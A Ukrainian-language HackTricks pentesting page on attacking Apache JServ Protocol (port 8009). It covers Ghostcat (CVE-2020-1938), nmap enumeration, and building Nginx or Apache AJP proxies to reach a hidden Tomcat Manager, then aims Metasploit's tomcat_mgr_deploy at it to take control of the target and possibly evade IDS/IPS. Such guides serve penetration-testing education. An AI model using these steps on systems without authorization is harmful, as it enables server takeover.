8009 - Pentesting Apache JServ Protocol (AJP)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Основна Інформація

З: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/

AJP - це провідний протокол. Це оптимізована версія протоколу HTTP для можливості взаємодії самостійного веб-сервера, такого як Apache, з Tomcat. Історично Apache був набагато швидшим за Tomcat у обслуговуванні статичного контенту. Ідея полягає в тому, щоб дозволити Apache обслуговувати статичний контент, коли це можливо, але передавати запит до Tomcat для контенту, пов'язаного з Tomcat.

Також цікаво:

Протокол ajp13 орієнтований на пакети. Було припущено, що для покращення продуктивності було обрано бінарний формат над більш читабельним простим текстом. Веб-сервер спілкується з контейнером сервлетів через TCP-з'єднання. Щоб скоротити витратний процес створення сокету, веб-сервер спробує підтримувати постійні TCP-з'єднання з контейнером сервлетів та використовувати з'єднання для кількох циклів запиту/відповіді.

Порт за замовчуванням: 8009

PORT     STATE SERVICE
8009/tcp open  ajp13

CVE-2020-1938 'Ghostcat'

Якщо викритий порт AJP, Tomcat може бути вразливим до уразливості Ghostcat. Ось експлойт, який працює з цією проблемою.

Ghostcat - це уразливість LFI, але дещо обмежена: можна витягнути лише файли з певного шляху. Тим не менш, це може включати файли, такі як WEB-INF/web.xml, які можуть витікати важливу інформацію, таку як облікові дані для інтерфейсу Tomcat, в залежності від налаштування сервера.

Виправлені версії на рівні або вище 9.0.31, 8.5.51 та 7.0.100 виправили цю проблему.

Перелік

Автоматичний

nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>

AJP Проксі

Nginx Reverse Proxy & AJP

Перевірте версію в Docker

Коли ми стикаємося з відкритим портом AJP проксі (8009 TCP), ми можемо використовувати Nginx з ajp_module для доступу до "прихованого" Tomcat Manager. Це можна зробити, скомпілювавши вихідний код Nginx та додавши необхідний модуль, наступним чином:

  • Завантажте вихідний код Nginx

  • Завантажте необхідний модуль

  • Скомпілюйте вихідний код Nginx з ajp_module.

  • Створіть файл конфігурації, який вказує на порт AJP.

# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz

# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V

Закоментуйте весь блок server і додайте наступні рядки всередині блоку http в /etc/nginx/conf/nginx.conf.

upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}

Запустіть Nginx та перевірте, чи все працює коректно, виконавши запит cURL до вашого локального хоста.

sudo nginx
curl http://127.0.0.1:80

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>

Версія Nginx у Docker

git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker

Замініть TARGET-IP на IP AJP у nginx.conf, після чого збудуйте та запустіть.

docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy

Проксі-сервер Apache AJP

Зустріти відкритий порт 8009 без інших доступних веб-портів - рідкість. Однак все ще можливо використовувати Metasploit для експлуатації. За допомогою Apache в якості проксі-сервера можна перенаправляти запити на Tomcat на порт 8009.

sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf     # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass       / ajp://HOST:8009/
ProxyPassReverse    / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2

Ця настройка має потенціал обійти системи виявлення та запобігання вторгнень (IDS/IPS) через бінарний характер протоколу AJP, хоча ця можливість не була підтверджена. Направивши звичайну атаку Metasploit на Tomcat на 127.0.0.1:80, ви можете ефективно заволодіти керуванням цільовою системою.

msf  exploit(tomcat_mgr_deploy) > show options

Посилання

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated